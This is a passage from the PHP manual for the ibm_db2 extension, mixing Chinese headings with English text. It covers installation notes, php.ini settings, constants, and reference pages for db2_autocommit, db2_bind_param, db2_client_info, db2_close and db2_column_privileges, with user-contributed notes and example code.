extension = ibm_db2.so
extension = /usr/lib/php5/20090626/ibm_db2.so

#10- Reboot the Apache
service apache2 restart
rifat dot aras at gmail dot com 29-Apr-2012 05:02
If you try to use the php_ibm_db2.dll that comes with the database while working with a WAMP server, you may have difficulties loading the ibm_db2 extension. You can understand this by checking the Apache error log.

This can be solved by downloading the correct dll by visiting http://sourceforge.net/projects/db2mc/files/ and then clicking "IBM_DB2 PHP Driver for Windows > PHP 5.(2|3)._ > VC(6|9) > php_ibm_db2-ver-(nts_ts)-vc(6|9)-x86.zip"

The correct dll version can be determined by checking the "Compiler" and "Thread Safety" fields on the php_info page.

Copy the dll to the extension directory, update the php.ini file, and restart the Apache service.
angoca at yahoo dot com 25-Nov-2011 08:29
In DB2 v9 the clients have changed their names. Now, they are called

Data server client

If you search in Internet "DB2 fixpack" you will get an IBM address like

http://www-01.ibm.com/support/docview.wss?uid=swg24031181

You select the DB2 version and fixpack level, then the platform and finally the product, that in this case is "Data Server client"
kpfitzgerald at gmail dot com 01-Apr-2011 10:14
Actually a much simpler way on SLES 11 SP1 and DB2 Express C  is to execute the following.

pecl install ibm_db2

when it asks for your path put in your location of SQLLIB not your db2 install. usually found here...

/home/db2inst1/sqllib

to verify execute
pecl list

Should show the following:

Installed packages, channel pecl.php.net:
=========================================
Package Version State
ibm_db2 1.9.1   stable
AngocA 27-Mar-2009 03:12
I installed this tool foolwing the next steps:

(Prereq: I've installed DB2 express-c before, and also Apache and php)

- Download the file: ibm_db2-1.8.2.tgz
- Untar the file: tar -xvf ibm_db2-1.8.2.tgz
- Go to the main directory
- Execute 'phpize' and that creates several files.
- Execute './configure --with-IBM_DB2=/opt/ibmn/db2/V9.5_01'
- Execute 'make'
- Execute 'make install'
- Modify the php.ini file in order to activate the ibm_db2.so extension.
    extension=ibm_db2.so

To check that the library is included: php -i

Then, you have to restart Apache: httpd -k restart


运行时配置

这些函数的行为受 php.ini 中的设置影响。

ibm_db2 配置选项
名字 | 默认 | 可修改范围 | Changelog
ibm_db2.binmode | "1" | PHP_INI_ALL |
ibm_db2.i5_all_pconnect | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.6.5.
ibm_db2.i5_allow_commit | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.4.9.
ibm_db2.i5_dbcs_alloc | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.5.0.
ibm_db2.instance_name | NULL | PHP_INI_SYSTEM | Available since ibm_db2 1.0.2.
ibm_db2.i5_ignore_userid | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.8.0.

这是配置指令的简短说明。

ibm_db2.binmode int

This option controls the mode used for converting to and from binary data in the PHP application.

  • 1 (DB2_BINARY)

  • 2 (DB2_CONVERT)

  • 3 (DB2_PASSTHRU)

ibm_db2.i5_all_pconnect int

This option overrides i5 db2_connect() full open and close in the PHP application. When ibm_db2.i5_all_pconnect = 1, all db2 connections become persistent (db2_pconnect()). On i5/OS, db2_pconnect() performs dramatically better with lower machine stress over db2_connect(). This is a convenience override of db2_connect() to evoke db2_pconnect() without PHP source code changes.

  • 0 db2_connect() default full open and close

  • 1 db2_connect() override to db2_pconnect() for persistent connection only

ibm_db2.i5_allow_commit int

This option controls the isolation mode used for i5 schema collections in the PHP application (see i5_commit for override).

  • 0 - commitment control is not used

  • 1 - read uncommitted, dirty reads possible.

  • 2 - read committed, dirty reads are not possible.

  • 3 - repeatable read, dirty reads and non-repeatable reads are not possible

  • 4 - serializeable, dirty reads, non-repeatable reads, and phantoms are not possible

ibm_db2.i5_dbcs_alloc int

This option controls the internal ibm_db2 allocation scheme for large DBCS column buffers.

  • 0 no expanded allocations (see i5_dbcs_alloc for override)

  • 1 use expanded allocations (see i5_dbcs_alloc for override)

ibm_db2.instance_name string

On Linux and UNIX operating systems, this option defines the name of the instance to use for cataloged database connections. If this option is set, its value overrides the DB2INSTANCE environment variable setting.

This option is ignored on Windows operating systems.

ibm_db2.i5_ignore_userid int

This option overrides i5 db2_(p)connect userid and password in the PHP application. When ibm_db2.i5_ignore_userid = 1, all db2 (p)connections become null userid and null password. Therefore Apache jobs connect with the current profile (NOBODY). Use of this override is only for simple DB2 based websites that never require profile switching and therefore can avoid all overhead of server mode additional QSQSRVR jobs. This is a convenience override of db2_(p)connect to set the userid and password values to null without PHP source code changes. This override can be used in combination with ibm_db2.i5_all_pconnect = 1.

  • 0 db2_(p)connect with specified userid and password

  • 1 db2_(p)connect override connect with null userid and null password

User Contributed Notes

Satoru Yoshida 26-Dec-2012 01:42
The explanation of ibm_db2.i5_allow_commit seems to be slightly difficult to understand for me.

I think it would be better to replace "no commit" with "can not use commitment control" or "do not allow transaction", and "allow commit" would be changed into
"can use commitment control" or "allow transaction" , Thanks.
yoshida at zend dot co dot jp 22-Feb-2011 07:00
The explanation of ibm_db2.i5_dbcs_alloc seems to be hard to understand for me.

In ibm_db2 extension inside, 6 times length of string column is allocated if i5_dbcs_alloc value is 1.
The allocated area is used for conversion between UTF-8 and EBCDIC character encodings.

By the definition of UTF-8, letter length can need 6 bytes at the maximum.

Note:
In the case of a long column, allocated size may be beyond the upper limit defined in DB2 because original column is made by 6 times.  It can cause result data becomes null.


资源类型

The ibm_db2 extension returns connection resources, statement resources, and result set resources.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

DB2_BINARY (int)
Specifies that binary data shall be returned as is. This is the default mode.
DB2_CONVERT (int)
Specifies that binary data shall be converted to a hexadecimal encoding and returned as an ASCII string.
DB2_PASSTHRU (int)
Specifies that binary data shall be converted to a null value.
DB2_SCROLLABLE (int)
Specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.
DB2_FORWARD_ONLY (int)
Specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.
DB2_PARAM_IN (int)
Specifies the PHP variable should be bound as an IN parameter for a stored procedure.
DB2_PARAM_OUT (int)
Specifies the PHP variable should be bound as an OUT parameter for a stored procedure.
DB2_PARAM_INOUT (int)
Specifies the PHP variable should be bound as an INOUT parameter for a stored procedure.
DB2_PARAM_FILE (int)
Specifies that the column should be bound directly to a file for input.
DB2_AUTOCOMMIT_ON (int)
Specifies that autocommit should be turned on.
DB2_AUTOCOMMIT_OFF (int)
Specifies that autocommit should be turned off.
DB2_DOUBLE (int)
Specifies that the variable should be bound as a DOUBLE, FLOAT, or REAL data type.
DB2_LONG (int)
Specifies that the variable should be bound as a SMALLINT, INTEGER, or BIGINT data type.
DB2_CHAR (int)
Specifies that the variable should be bound as a CHAR or VARCHAR data type.
DB2_CASE_NATURAL (int)
Specifies that column names will be returned in their natural case.
DB2_CASE_LOWER (int)
Specifies that column names will be returned in lower case.
DB2_CASE_UPPER (int)
Specifies that column names will be returned in upper case.
DB2_DEFERRED_PREPARE_ON (int)
Specifies that deferred prepare should be turned on for the specified statement resource.
DB2_DEFERRED_PREPARE_OFF (int)
Specifies that deferred prepare should be turned off for the specified statement resource.

User Contributed Notes

There are no user contributed notes for this page.


IBM DB2 函数

Table of Contents

  • db2_autocommit — Returns or sets the AUTOCOMMIT state for a database connection
  • db2_bind_param — Binds a PHP variable to an SQL statement parameter
  • db2_client_info — Returns an object with properties that describe the DB2 database client
  • db2_close — Closes a database connection
  • db2_column_privileges — Returns a result set listing the columns and associated privileges for a table
  • db2_columns — Returns a result set listing the columns and associated metadata for a table
  • db2_commit — Commits a transaction
  • db2_conn_error — Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_conn_errormsg — Returns the last connection error message and SQLCODE value
  • db2_connect — Returns a connection to a database
  • db2_cursor_type — Returns the cursor type used by a statement resource
  • db2_escape_string — Used to escape certain characters
  • db2_exec — Executes an SQL statement directly
  • db2_execute — Executes a prepared SQL statement
  • db2_fetch_array — Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc — Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both — Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object — Returns an object with properties representing columns in the fetched row
  • db2_fetch_row — Sets the result set pointer to the next row or requested row
  • db2_field_display_size — Returns the maximum number of bytes required to display a column
  • db2_field_name — Returns the name of the column in the result set
  • db2_field_num — Returns the position of the named column in a result set
  • db2_field_precision — Returns the precision of the indicated column in a result set
  • db2_field_scale — Returns the scale of the indicated column in a result set
  • db2_field_type — Returns the data type of the indicated column in a result set
  • db2_field_width — Returns the width of the current value of the indicated column in a result set
  • db2_foreign_keys — Returns a result set listing the foreign keys for a table
  • db2_free_result — Frees resources associated with a result set
  • db2_free_stmt — Frees resources associated with the indicated statement resource
  • db2_get_option — Retrieves an option value for a statement resource or a connection resource
  • db2_last_insert_id — Returns the auto generated ID of the last insert query that successfully executed on this connection
  • db2_lob_read — Gets a user defined size of LOB files with each invocation
  • db2_next_result — Requests the next result set from a stored procedure
  • db2_num_fields — Returns the number of fields contained in a result set
  • db2_num_rows — Returns the number of rows affected by an SQL statement
  • db2_pclose — Closes a persistent database connection
  • db2_pconnect — Returns a persistent connection to a database
  • db2_prepare — Prepares an SQL statement to be executed
  • db2_primary_keys — Returns a result set listing primary keys for a table
  • db2_procedure_columns — Returns a result set listing stored procedure parameters
  • db2_procedures — Returns a result set listing the stored procedures registered in a database
  • db2_result — Returns a single column from a row in the result set
  • db2_rollback — Rolls back a transaction
  • db2_server_info — Returns an object with properties that describe the DB2 database server
  • db2_set_option — Set options for connection or statement resources
  • db2_special_columns — Returns a result set listing the unique row identifier columns for a table
  • db2_statistics — Returns a result set listing the index and statistics for a table
  • db2_stmt_error — Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg — Returns a string containing the last SQL statement error message
  • db2_table_privileges — Returns a result set listing the tables and associated privileges in a database
  • db2_tables — Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

igtoth at gmail dot com 10-May-2014 02:27
// IBM DB2 funcitons like MySQL (ODBC based)
// "Ighor Toth" <igtoth@gmail.com>
// Date: 08/05/2014

// usage:
// db2_connect(verbose,instance,username,password); -> also reads config file if nothing declared db2.conf.inc.php
// db2_query(db2_connect_return,sql)
// db2_fetch_array(result);
// db2_fetch_object(result);
// db2_display_table(db2_connect_return,sql); // select only

function db2_connect($verbose = null,$db2name = null,$username = null,$password = null) {
    if(!isset($verbose)){
        $verbose = TRUE; // TRUE or FALSE, if not set TRUE
    }
    if(!isset($db2name)){ // NOT DECLARED
        include("db2.conf.inc.php"); // CHECK CONFIG FILE
        if(!isset($db2name)){
            if ($verbose == TRUE){
                echo ("DB2 Instance not selected");
                exit();
            } else {
                exit();
            }
        }
    } else if (!isset($username)){
        echo ("DB2 Instance username not specified");
        exit();
    }
    $db2conn = odbc_connect($db2name, $username, $password);
    if (($verbose == TRUE) && ($db2conn == 0)) {
        echo("Connection to database failed.");
        $sqlerror = odbc_errormsg($db2conn);
        echo($sqlerror);
    }
    return($db2conn);
}

function db2_query($db2conn,$sql){
    $result = odbc_exec($db2conn, $sql);
    if ($result == 0) {
        echo("QUERY = '$sql' FAILED.<br>\n");
        $sqlerror = odbc_errormsg($db2conn);
        echo($sqlerror);
    } else {
        // odbc_result_all prints all of the rows
        // for a result set ID as an HTML table
        return $result;
    }
}

 function db2_fetch_array($result, $rownumber=null){
    $array = array();
    if (!($cols = odbc_fetch_into($result, $result_array, $rownumber))) {
        return false;
    }
    for ($i = 1; $i <= $cols; $i++) {
        $array[odbc_field_name($result, $i)] = $result_array[$i - 1];
    }
    return $array;
}

function db2_fetch_object($result){
    if(function_exists("db2_fetch_object")) return db2_fetch_object($result);
    $rs = array();
    $rs_obj = false;
    if( odbc_fetch_into($result, $rs) ){
        foreach( $rs as $key=>$value ){
            $fkey = odbc_field_name($result, $key+1);
            $rs_obj->$fkey = trim($value);
        }
    }
    return $rs_obj;
}

function db2_display_table($db2conn,$sql) {
    // select all rows from the table
    if(!isset($db2conn)||!isset($sql)){
        echo("ERROR db2_display_table: Function missing arguments");
        exit();
    }
    $check = explode(" ",$sql);
    if($check[0]!="SELECT"){
        echo("ERROR db2_display_table: Not SELECT SQL query");
    }
    if ($db2conn != 0) {
        // odbc_exec returns 0 if the statement fails;
        // otherwise it returns a result set ID
        $result = odbc_exec($db2conn, $sql);
        if ($result == 0) {
            echo("SELECT statement failed.");
            $sqlerror = odbc_errormsg($db2conn);
            echo($sqlerror);
        } else {
            // odbc_result_all prints all of the rows
            // for a result set ID as an HTML table
            odbc_result_all($result);
        }
    }
}
Richard dot Ablewhite at gmail dot com 11-Sep-2008 03:17
There seems to be a lot of good documentation
for Linux users compiling PHP with DB2 support,
but decent Windows notes are minimal.

You do not need to install full DB2 clients to get DB2
working with DB2, all you need is the IBM Data
Server Driver for ODBC, CLI, and .NET which is only
16.1 meg.

You can download the driver from here:

Direct Link:
ftp://ftp.software.ibm.com/ps/products/db2/fixes2/englsh-us/
db2_v95/dsdriver/fp2/v9.5fp2_nt32_dsdriver_EN.exe

Home Page:
http://www-01.ibm.com/support/docview.wss?rs=71&uid=swg21287889

This includes both the drivers required and the PHP
dll php_ibm_db2_5.2.2.dll

Once installed the drivers do not setup the correct
path environmental variable,
so add the following to your path:

C:\Program Files\IBM\IBM DATA SERVER DRIVER\bin

Once thats done all should work! No massive
400meg client downloads required.

Whats even better about these drivers is that you
dont need to install them,
you can simply copy the bin directory to any server,
add it to your path and it will just work.
This is great for anyone developing PHP-GTK applications,
I copy the bin directory into my php-gkt2 directory
and execute using the following batch script:

path = %PATH%;.\IBM DATA SERVER DRIVER\bin
php-win.exe %*

This lets me role out lightweight DB2 client desktop
apps that dont have to be installed,
can just be coppied from PC to PC or ran over a
network or from USB stick.

As your only installing the client drivers you wont be
able to catalog databases,
so always use the full connection string. Here is a
quick bit of code to get you started:

$database = 'databasename';
$user = 'user';
$password = 'password';
$hostname = '127.0.0.1';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
  "HOSTNAME=$hostname;PORT=$port;".
  "PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

$query = 'SELECT * FROM TABLE';
$res = db2_prepare($conn, $query);
db2_execute($res);

while ($row = db2_fetch_array($res)) {
  print_r($row);
}
brent dot halsey at gmail dot com 11-Jun-2008 10:57
Spent a lot of time trying to get this to work on a 64bit box.  You'll need to make sure you set your db2 client to 64 bit mode!  If you didn't set your instance to 64bit, you can run ./db2iupdt -w64 db2instance as root to set it.  Hope this helps someone!
Exi 05-Jun-2008 01:38
The DB/2 Run-Time-Client can be found here:
http://www-1.ibm.com/support/docview.wss?rs=71&uid=swg21255394
Select the 'Runtime Client Installable for Windows' further down the page and download it.
Clients for other platform (incl. 64-Bit Windows) are also available from that page.
kfoubert at sitecrafting dot com 29-Apr-2008 11:00
If you wish to connect to an iSeries Server, such as an AS/400, there are two options. Installing DB2 Express-C v9.5 and purchasing DB2 Connect Personal Edition for about $500 or getting System I Access for Linux, which is a free download. Please note the server requirements for each of these. For example, we originally went with DB2 Express-C and decided upon Ubuntu 7.10, but learned about System I Access, from an IBM rep, which requires redhat package manager, after the entire server was up and running.

DB2 Express-C
http://www-306.ibm.com/software/data/db2/express/

DB2 Connect Personal
http://www-306.ibm.com/software/data/db2/db2connect/edition-pe.html

System I Access for Linux
http://www-03.ibm.com/systems/i/software/access/index.html
NOTE: System I Access requires redhat package manager.


Returns or sets the AUTOCOMMIT state for a database connection

  • ? IBM DB2 函数
  • db2_bind_param ?
  • PHP Manual
  • IBM DB2 函数
  • Returns or sets the AUTOCOMMIT state for a database connection

db2_autocommit

(PECL ibm_db2 >= 1.0.0)

db2_autocommit — Returns or sets the AUTOCOMMIT state for a database connection

说明

db2_autocommit(resource $connection, int $value = ?): int|bool

Sets or gets the AUTOCOMMIT behavior of the specified connection resource.

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

value

One of the following constants:

DB2_AUTOCOMMIT_OFF

Turns AUTOCOMMIT off.

DB2_AUTOCOMMIT_ON

Turns AUTOCOMMIT on.

返回值

When db2_autocommit() receives only the connection parameter, it returns the current state of AUTOCOMMIT for the requested connection as an integer value. A value of DB2_AUTOCOMMIT_OFF indicates that AUTOCOMMIT is off, while a value of DB2_AUTOCOMMIT_ON indicates that AUTOCOMMIT is on.

When db2_autocommit() receives both the connection parameter and autocommit parameter, it attempts to set the AUTOCOMMIT state of the requested connection to the corresponding state. 成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Retrieving the AUTOCOMMIT value for a connection

In the following example, a connection which has been created with AUTOCOMMIT turned off is tested with the db2_autocommit() function.

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);
$ac = db2_autocommit($conn);
if ($ac == DB2_AUTOCOMMIT_OFF) {
print "$ac -- AUTOCOMMIT is off.";
} else {
print "$ac -- AUTOCOMMIT is on.";
}
?>

以上示例会输出：

0 -- AUTOCOMMIT is off.

Example #2 Setting the AUTOCOMMIT value for a connection

In the following example, a connection which was initially created with AUTOCOMMIT turned off has its behavior changed to turn AUTOCOMMIT on.

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);

// Turn AUTOCOMMIT on
$rc = db2_autocommit($conn, DB2_AUTOCOMMIT_ON);
if ($rc) {
print "Turning AUTOCOMMIT on succeeded.\n";
}

// Check AUTOCOMMIT state
$ac = db2_autocommit($conn);
if ($ac == DB2_AUTOCOMMIT_OFF) {
print "$ac -- AUTOCOMMIT is off.";
} else {
print "$ac -- AUTOCOMMIT is on.";
}
?>

以上示例会输出：

Turning AUTOCOMMIT on succeeded.
1 -- AUTOCOMMIT is on.

参见

  • db2_connect() - Returns a connection to a database
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.


Binds a PHP variable to an SQL statement parameter

  • ? db2_autocommit
  • db2_client_info ?
  • PHP Manual
  • IBM DB2 函数
  • Binds a PHP variable to an SQL statement parameter

db2_bind_param

(PECL ibm_db2 >= 1.0.0)

db2_bind_param — Binds a PHP variable to an SQL statement parameter

说明

db2_bind_param(
resource $stmt,
int $parameter_number,
string $variable_name,
int $parameter_type = DB2_PARAM_IN,
int $data_type = 0,
int $precision = -1,
int $scale = 0
): bool

Binds a PHP variable to an SQL statement parameter in a statement resource returned by db2_prepare(). This function gives you more control over the parameter type, data type, precision, and scale for the parameter than simply passing the variable as part of the optional input array to db2_execute().

参数

stmt

A prepared statement returned from db2_prepare().

parameter_number

Specifies the 1-indexed position of the parameter in the prepared statement.

variable_name

A string specifying the name of the PHP variable to bind to the parameter specified by parameter_number.

parameter_type

A constant specifying whether the PHP variable should be bound to the SQL parameter as an input parameter (DB2_PARAM_IN), an output parameter (DB2_PARAM_OUT), or as a parameter that accepts input and returns output (DB2_PARAM_INOUT). To avoid memory overhead, you can also specify DB2_PARAM_FILE to bind the PHP variable to the name of a file that contains large object (BLOB, CLOB, or DBCLOB) data.

data_type

A constant specifying the SQL data type that the PHP variable should be bound as: one of DB2_BINARY, DB2_CHAR, DB2_DOUBLE, or DB2_LONG .

precision

Specifies the precision with which the variable should be bound to the database. This parameter can also be used for retrieving XML output values from stored procedures. A non-negative value specifies the maximum size of the XML data that will be retrieved from the database. If this parameter is not used, a default of 1MB will be assumed for retrieving the XML output value from the stored procedure.

scale

Specifies the scale with which the variable should be bound to the database.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Binding PHP variables to a prepared statement

The SQL statement in the following example uses two input parameters in the WHERE clause. We call db2_bind_param() to bind two PHP variables to the corresponding SQL parameters. Notice that the PHP variables do not have to be declared or assigned before the call to db2_bind_param(); in the example, $lower_limit is assigned a value before the call to db2_bind_param(), but $upper_limit is assigned a value after the call to db2_bind_param(). The variables must be bound and, for parameters that accept input, must have any value assigned, before calling db2_execute().

<?php

$sql = 'SELECT name, breed, weight FROM animals
WHERE weight > ? AND weight < ?';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

// We can declare the variable before calling db2_bind_param()
$lower_limit = 1;

db2_bind_param($stmt, 1, "lower_limit", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "upper_limit", DB2_PARAM_IN);

// We can also declare the variable after calling db2_bind_param()
$upper_limit = 15.0;

if (db2_execute($stmt)) {
while ($row = db2_fetch_array($stmt)) {
print "{$row[0]}, {$row[1]}, {$row[2]}\n";
}
}
?>

以上示例会输出：

Pook, cat, 3.2
Rickety Ride, goat, 9.7
Peaches, dog, 12.3

Example #2 Calling stored procedures with IN and OUT parameters

The stored procedure match_animal in the following example accepts three different parameters:

  1. an input (IN) parameter that accepts the name of the first animal as input

  2. an input-output (INOUT) parameter that accepts the name of the second animal as input and returns the string TRUE if an animal in the database matches that name

  3. an output (OUT) parameter that returns the sum of the weight of the two identified animals

In addition, the stored procedure returns a result set consisting of the animals listed in alphabetic order starting at the animal corresponding to the input value of the first parameter and ending at the animal corresponding to the input value of the second parameter.

<?php

$sql = 'CALL match_animal(?, ?, ?)';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

$name = "Peaches";
$second_name = "Rickety Ride";
$weight = 0;

db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "second_name", DB2_PARAM_INOUT);
db2_bind_param($stmt, 3, "weight", DB2_PARAM_OUT);

print "Values of bound parameters _before_ CALL:\n";
print " 1: {$name} 2: {$second_name} 3: {$weight}\n\n";

if (db2_execute($stmt)) {
print "Values of bound parameters _after_ CALL:\n";
print " 1: {$name} 2: {$second_name} 3: {$weight}\n\n";

print "Results:\n";
while ($row = db2_fetch_array($stmt)) {
print " {$row[0]}, {$row[1]}, {$row[2]}\n";
}
}
?>

以上示例会输出：

Values of bound parameters _before_ CALL:
  1: Peaches 2: Rickety Ride 3: 0

Values of bound parameters _after_ CALL:
  1: Peaches 2: TRUE 3: 22

Results:
  Peaches, dog, 12.3
  Pook, cat, 3.2
  Rickety Ride, goat, 9.7

Example #3 Inserting a binary large object (BLOB) directly from a file

The data for large objects are typically stored in files, such as XML documents or audio files. Rather than reading an entire file into a PHP variable, and then binding that PHP variable into an SQL statement, you can avoid some memory overhead by binding the file directly to the input parameter of your SQL statement. The following example demonstrates how to bind a file directly into a BLOB column.

<?php
$stmt = db2_prepare($conn, "INSERT INTO animal_pictures(picture) VALUES (?)");

$picture = "/opt/albums/spook/grooming.jpg";
$rc = db2_bind_param($stmt, 1, "picture", DB2_PARAM_FILE);
$rc = db2_execute($stmt);
?>

参见

  • db2_execute() - Executes a prepared SQL statement
  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

bravo1_r at hotmail dot com 25-Oct-2021 01:00
Important when using classes:
You must call db2_execute() in the same scope as where you define / set / bind the variables.
For example:

<?php
class DB2Class {
    public $conn;
    private $usr = 'user';
    private $pss = 'password';
    private $cat = 'catalog';
    public function db2_conn(){
        $conn = db2_connect($this->cat,$this->usr,$this->pss);
        if(!$conn)
            throw new Exception(db2_conn_errormsg());
        $this->conn = $conn;
    }
    public function db2_prep($sql){
        if(!$stmt = db2_prepare($this->conn, $sql)){
            throw new Exception($sql . " " . db2_stmt_errormsg());
            return false;
        }
        return $stmt;
    }
    public function db2_exec($stmt){
        if(!db2_execute($stmt))
            throw new Exception(db2_stmt_errormsg($stmt));
    }
}

/* This will NOT work */
function bindtest(){
    try {
        $db2 = new DB2Class;
        $db2->db2_conn();
        $stmt = $db2->db2_prep("SELECT * FROM TABLE WHERE FIELD = ?");
        $field = 'value';
        db2_bind_param($stmt, 1, "field", DB2_PARAM_IN);
        $db2->db2_exec($stmt);        // Results in Unbound Variable Error
        while($row = db2_fetch_assoc($stmt))
            var_dump($row);
    } catch(Exception $e) {
        error_log( $e->getMessage () );
    }
}

/* This will work */
function bindtest(){
    try {
        $db2 = new DB2Class;
        $db2->db2_conn();
        $stmt = $db2->db2_prep("SELECT * FROM TABLE WHERE FIELD = ?");
        $field = 'value';
        db2_bind_param($stmt, 1, "field", DB2_PARAM_IN);
        if(!db2_execute($stmt))
            throw new Exception(db2_stmt_errormsg($stmt));
        while($row = db2_fetch_assoc($stmt))
            var_dump($row);
    } catch(Exception $e) {
        error_log( $e->getMessage () );
    }
}

?>


Returns an object with properties that describe the DB2 database client

  • ? db2_bind_param
  • db2_close ?
  • PHP Manual
  • IBM DB2 函数
  • Returns an object with properties that describe the DB2 database client

db2_client_info

(PECL ibm_db2 >= 1.1.1)

db2_client_info — Returns an object with properties that describe the DB2 database client

说明

db2_client_info(resource $connection): stdClass|false

This function returns an object with read-only properties that return information about the DB2 database client. The following table lists the DB2 client properties:

DB2 client properties
Property name | Return type | Description
APPL_CODEPAGE | int | The application code page.
CONN_CODEPAGE | int | The code page for the current connection.
DATA_SOURCE_NAME | string | The data source name (DSN) used to create the current connection to the database.
DRIVER_NAME | string | The name of the library that implements the DB2 Call Level Interface (CLI) specification.
DRIVER_ODBC_VER | string | The version of ODBC that the DB2 client supports. This returns a string "MM.mm" where MM is the major version and mm is the minor version. The DB2 client always returns "03.51".
DRIVER_VER | string | The version of the client, in the form of a string "MM.mm.uuuu" where MM is the major version, mm is the minor version, and uuuu is the update. For example, "08.02.0001" represents major version 8, minor version 2, update 1.
ODBC_SQL_CONFORMANCE string

The level of ODBC SQL grammar supported by the client:

MINIMUM

Supports the minimum ODBC SQL grammar.

CORE

Supports the core ODBC SQL grammar.

EXTENDED

Supports extended ODBC SQL grammar.

ODBC_VER | string | The version of ODBC that the ODBC driver manager supports. This returns a string "MM.mm.rrrr" where MM is the major version, mm is the minor version, and rrrr is the release. The DB2 client always returns "03.01.0000".

参数

connection

Specifies an active DB2 client connection.

返回值

Returns an object on a successful call, 或者在失败时返回 false

示例

Example #1 A db2_client_info() example

To retrieve information about the client, you must pass a valid database connection resource to db2_client_info().

<?php
$conn = db2_connect( 'SAMPLE', 'db2inst1', 'ibmdb2' );
$client = db2_client_info( $conn );

if ($client) {
echo "DRIVER_NAME: "; var_dump( $client->DRIVER_NAME );
echo "DRIVER_VER: "; var_dump( $client->DRIVER_VER );
echo "DATA_SOURCE_NAME: "; var_dump( $client->DATA_SOURCE_NAME );
echo "DRIVER_ODBC_VER: "; var_dump( $client->DRIVER_ODBC_VER );
echo "ODBC_VER: "; var_dump( $client->ODBC_VER );
echo "ODBC_SQL_CONFORMANCE: "; var_dump( $client->ODBC_SQL_CONFORMANCE );
echo "APPL_CODEPAGE: "; var_dump( $client->APPL_CODEPAGE );
echo "CONN_CODEPAGE: "; var_dump( $client->CONN_CODEPAGE );
}
else {
echo "Error retrieving client information.
Perhaps your database connection was invalid.";
}
db2_close($conn);

?>

以上示例会输出：

DRIVER_NAME: string(8) "libdb2.a"
DRIVER_VER: string(10) "08.02.0001"
DATA_SOURCE_NAME: string(6) "SAMPLE"
DRIVER_ODBC_VER: string(5) "03.51"
ODBC_VER: string(10) "03.01.0000"
ODBC_SQL_CONFORMANCE: string(8) "EXTENDED"
APPL_CODEPAGE: int(819)
CONN_CODEPAGE: int(819)

参见

  • db2_server_info() - Returns an object with properties that describe the DB2 database server

User Contributed Notes

There are no user contributed notes for this page.


Closes a database connection

  • ? db2_client_info
  • db2_column_privileges ?
  • PHP Manual
  • IBM DB2 函数
  • Closes a database connection

db2_close

(PECL ibm_db2 >= 1.0.0)

db2_close — Closes a database connection

说明

db2_close(resource $connection): bool

This function closes a DB2 client connection created with db2_connect() and returns the corresponding resources to the database server.

If you attempt to close a persistent DB2 client connection created with db2_pconnect(), the close request is ignored and the persistent DB2 client connection remains available for the next caller.

参数

connection

Specifies an active DB2 client connection.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Closing a connection

The following example demonstrates a successful attempt to close a connection to an IBM DB2, Cloudscape, or Apache Derby database.

<?php
$conn = db2_connect('SAMPLE', 'db2inst1', 'ibmdb2');
$rc = db2_close($conn);
if ($rc) {
echo "Connection was successfully closed.";
}
?>

以上示例会输出：

Connection was successfully closed.

参见

  • db2_connect() - Returns a connection to a database
  • db2_pclose() - Closes a persistent database connection
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the columns and associated privileges for a table

  • ? db2_close
  • db2_columns ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing the columns and associated privileges for a table

db2_column_privileges

(PECL ibm_db2 >= 1.0.0)

db2_column_privileges — Returns a result set listing the columns and associated privileges for a table

说明

db2_column_privileges(
resource $connection,
?string $qualifier = null,
?string $schema = null,
?string $table_name = null,
?string $column_name = null
): resource

Returns a result set listing the columns and associated privileges for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema which contains the tables. To match all schemas, pass null or an empty string.

table_name

The name of the table or view. To match all tables in the database, pass null or an empty string.

column_name

The name of the column. To match all columns in the table, pass null or an empty string.

返回值

Returns a statement resource with a result set containing rows describing the column privileges for columns matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema.
TABLE_NAME | Name of the table or view.
COLUMN_NAME | Name of the column.
GRANTOR | Authorization ID of the user who granted the privilege.
GRANTEE | Authorization ID of the user to whom the privilege was granted.
PRIVILEGE | The privilege for the column.
IS_GRANTABLE | Whether the GRANTEE is permitted to grant this privilege to other users.

参见

  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
